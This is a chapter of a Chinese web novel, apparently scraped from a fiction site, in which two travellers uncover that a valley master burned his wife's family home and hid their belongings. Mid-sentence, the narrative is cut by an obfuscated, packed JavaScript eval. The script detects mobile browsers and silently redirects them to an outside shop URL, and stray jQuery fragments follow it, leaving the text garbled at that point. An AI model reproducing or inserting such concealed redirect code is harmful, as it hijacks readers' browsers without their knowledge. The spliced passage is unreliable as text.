文趣网 > 都市小说 > 南水北调 > 22. 云渺谷(四)
    “你是被他抢来的?”刘晚气的脸红脖子粗,又思索了一会儿,站起身:“我会帮你,但是你要配合我们。”刘晚想着不能只听信她的一面之词,打算也试探试探谷主。

    她重新坐回床边,神色认真了许多,声音放轻:“你慢慢说,你家乡在哪?家人……如今怎么样了?”

    夫人垂眸良久,指尖死死抠着被褥边角,眼底积攒多年的灰败终于一点点翻涌上来。

    “我家本是山下药农世家,世代种药行医。”

    她声音很轻,带着压了数年的沙哑。

    “三年前,谷主下山游历,借求医之名登门。我父亲心善,待他如上宾,还将家传药草典籍借他翻阅。他见我家药脉完整、药材得天独厚,又听闻我是独女,无兄长依仗,便起了歹心。”

    刘晚听得眉心越蹙越紧。

    “他假意提亲,我父母本不愿高攀江湖隐士,委婉回绝。谁知当夜,山下突发大火,我家中药棚、库房尽数焚毁,我爹娘……一夜之间没了踪影。”

    说到此处,她喉头哽咽,眼眶通红,却硬是没掉泪。

    “之后他带人出现,说是救我于火海,对外宣称我家惨遭天灾、无家可归。所有人都以为他是我的救命恩人。”

    “可我亲眼看见,那场火,是他手下放的,我见过他手下,那日我在院外采药,突然院内火光冲天,我担心父母,于是赶紧跑回院中,但是我父母已经不知所踪。”

    一句话落定,屋内瞬间死寂。

    刘晚心口狠狠一沉,后背微微发寒。

    难怪谷主对外情深义重、怜妻惜命,原来从头到尾,都是他一手造的悲剧。

    “你爹娘……一直没有消息?”刘晚低声问。

    夫人摇头,眼底一片荒芜:“活不见人,死不见尸。他软禁我三年,不准我下山、不准我通信。我日日装病,就是不想让他顺心。我装体弱、装难愈,他才会一直留着我,留着我,就还留着一点点查明真相的机会。”

    一旁的杨萧静静听着,眉眼彻底冷了下来。

    他本就体虚气短,此刻却忍不住开口,声音微凉:“所以这就是你不反抗的理由。”

    夫人苦笑一声,眼底终是落下一滴隐忍许久的泪:“我孤身一人,无路可走,只能熬。熬到有人入谷、有人能看穿他的假仁假义。”

    怪不得守门婆婆刻薄、谷内冷清死寂、谷主整日故作愁容。

    全是演给外人看的戏。

    她深吸一口气,压下胸中怒火,眼神笃定:“你放心。今日我们撞见,就是你的机会。我不仅带你离开,我还会帮你查清当年火案。”

    “但你要如实配合我。待会儿谷主回来,一切照旧,不露半点破绽。”

    夫人抬眼,眼里第一次亮起微弱的光,郑重点头。

    “还有一件事。”刘晚盯着夫人说道。

    “你可知清络芝在哪?”

    “这东西都是他保管的,我确实不知。”夫人脸上有些有些没帮上忙的窘迫。

    刘晚闻言,为了保持礼貌只是稍稍勾了勾嘴唇。

    没过多久,屋外传来谷主缓步归来的脚步声,轻缓从容,听着一派温雅君子模样。

    夫人立刻敛尽眼底悲色,飞快躺回枕上,闭眼屏息,瞬间变回那副常年孱弱、久病难愈的温顺模样,连指尖都刻意松弛下来,不露半点异样。

    刘晚迅速收敛满腔怒意,神色放平,端起方才故作高深的医者姿态,静静立在屋中。杨萧站在她身侧,安静垂眸,气息稳敛,默默替她压阵。

    谷主推门而入,手里提着满满一篮刚采好的草药,眉眼带着恰到好处的忧色,进门便轻声询问:“神医,内子方才可还安稳?身子可有半点起色?”

    刘晚转过身,语气平淡从容,不露分毫破绽:“夫人心结郁结太深,身疾皆是心病所化。方才我为她顺气调息片刻,心绪稍稳,只需长期静养,慢慢疏解,便可好转。”

    她故意顿了顿,抬眼看向谷主,缓缓开口试探:“我方才听夫人呓语,梦中常念及家乡故土。想来家中父母对她定是极好,怎会落得常年体虚郁结?”

    谷主脸上温和的笑意微不可察地僵了一瞬,转瞬便恢复如常,眼底掠过一丝极淡的阴翳,快得让人无法捕捉。

    他轻叹一声,故作惋惜悲悯:“说来也是命苦。三年前山下天降大火,她家满门遭难,只剩她一人侥幸存活,孤苦无依。我见她可怜,便将她带回谷中照料,谁知她心结难消,常年郁郁寡欢,缠绵病榻至今。”

    刘晚心中冷笑,面上却不露分毫,顺着他的话点头附和:“原来如此,难怪夫人郁结难散。历经家破人亡,心中悲苦自然难解。谷主三年悉心照料,不离不弃,当真是仁心大义。”

    谷主被这番夸赞说得神色舒展,全然没听出话里的讥讽,愈发笃定自己的伪装天衣无缝,笑着拱手:“分内之事,既是我夫人,我自当护她周全。”

    一旁躺着的夫人,睫羽轻轻颤抖,死死咬住下唇,半句不言,将所有恨意与屈辱尽数压在心底,配合得天衣无缝。

    杨萧静静旁观全程,眼底寒意渐浓,心底早已看透此人虚伪卑劣。他不动声色抬眼,淡淡开口补了一句:“谷主情深,令人敬佩。只是云渺谷灵气充沛,灵药遍地,夫人在此静养三年,依旧不见好转,倒是奇怪。”

    这话温和却尖锐,不动声色点出破绽。

    谷主脸色又是微滞,一时语塞,勉强笑道:“心病难医,灵丹妙药也无用啊。”

    刘晚适时接过话头,顺势敲定后续,彻底稳住他:“确实如此。后续我每日会为夫人调息疏导,暂住谷中几日,慢慢调理心结身疾。劳烦谷主暂且在外等候,我为夫人静养,不宜外人打扰。”

    “好好好!一切全听神医安排!”

    谷主大喜过望,只当终于找到了治愈夫人的法子,毫无疑虑,转身轻手轻脚退出卧房,贴心带上房门。

    房门合上的瞬间。

    夫人猛地睁开眼,眼底温柔褪去,只剩刺骨的寒凉与恨意,肩膀微微颤抖。

    刘晚收起神色,快步走到床边,轻声道:“他已经彻底信了,接下来,我们慢慢筹谋。先等时机,我带你离开云渺谷,再查三年前的大火真相。”

    杨萧轻声附和,嗓音沉稳笃定:“他伪装多年,必有破绽。我们耐心等候,不急一时。”

    “我知道哪里有暗房,他从来不让我经过哪里想我估摸着应该那个暗房有问题。”

    “好,我们今晚就出发。”

    刘晚实在等不到明天,害怕晚一刻钟,杨萧就……

    夜色沉沉落下,云渺谷白雾更浓,整座山谷静得只剩晚风穿林的轻响。

    谷主信了说辞,夜里并未再来打扰,只遣了婆子送了些清淡

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17772945|208013||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    吃食,便远远退开,不敢惊扰“夫人静养”。

    屋内烛火摇曳,暖光昏昏浅浅,映得三人神色沉静。

    待到谷中彻底夜深人静,连巡谷脚步声都彻底消弭,刘晚才压着声音开口:“现在正是时机,我们出去看看。”

    夫人犹豫片刻,低声道:“谷主平日看似温和,实则心思缜密多疑,谷中不少偏院暗房,从不许我踏入,我怀疑当年我家中残留的东西,都被他藏在了这里。”

    杨萧缓了缓胸口滞涩的气息,哪怕夜深寒凉,经脉隐痛未消,依旧稳声道:“我守在外头望风,你们速去速回,不必走远。”

    他身子虚,不宜奔走折腾,静静立在廊下,身形清瘦挺拔,无声替二人把着周遭动静。

    刘晚点头,跟着夫人轻手轻脚走出卧房,借着月色隐在廊柱阴影里,避开零星灯火,往谷中偏僻的西院摸去。

    西院常年锁闭,荒草浅浅,无人踏足,木门落着一层薄薄灰尘,一看便是常年封禁的禁地。

    “就是这里。”夫人指尖微颤,声音压得极低,“我从前几次想来,都被他拦下,说此处堆放杂物、阴气重,不许我靠近。”

    刘晚抬手,轻轻拨开老旧木栓。

    木门“吱呀”一声轻响,在寂静夜里格外清晰。

    屋内没有贵重灵药,没有雅致摆设,只堆放着几只陈旧木箱,落满尘埃,边角皆是烟火熏黑的痕迹。

    刘晚心头一跳,立刻上前掀开箱盖。

    里面静静躺着几件洗得发白的粗布衣裳、残破的行医手记、还有几枚磨损的木质药牌,是山下药农世家独有的标记。

    是她家人的东西。

    夫人一眼看见,瞬间红了眼,指尖颤抖抚过那些残留烟火印记的旧物,三年来死死压抑的情绪险些绷不住。

    “这是我爹的手记……这是我娘常戴的木牌……”

    她声音哽咽,几乎泣不成声。

    “当年大火烧得干干净净,我以为全都没了,没想到……他竟然全部收着。”

    他毁掉她的家、杀掉她的亲人,再把所有遗物尽数搜刮藏匿,将她囚在这片满是至亲遗物的牢笼里,日日看着、夜夜煎熬。

    何其歹毒,何其伪善。

    刘晚看着满箱旧物,心口一阵阵发寒,怒意翻涌,却死死按住脾气,轻声安抚:“别出声,别哭,现在不是难过的时候。”

    她快速翻找木箱,最后在最底层,摸到一块烧得残缺的布条,上面依稀绣着半个“苏”字。

    “你本姓苏?”刘晚低声问。

    夫人含泪点头:“我名苏念,苏家世代行医。”

    “这些都是证据。”刘晚小心翼翼将布条与药牌收好,贴身藏起,“有这些在,日后便能彻底揭穿他的真面目,为你家人平反。”

    苏念用力抹掉眼泪,眼底不再是软弱委屈,只剩沉沉坚定:“我信你们,这些都是证据。”说着把那本手札放进怀里。

    两人不敢久留,快速盖好木箱,将其余东西原样摆好,轻手轻脚退出西院,重新锁好木门,不留半点痕迹。

    折返时,廊下烛火微动。

    杨萧依旧立在原处,身姿未动,夜风拂动他衣摆,脸色依旧苍白,却目光清明。

    见她们回来,他轻声问:“找到了?”

    刘晚点头,眼神清亮:“找到了,他的假面具,快要碎了。”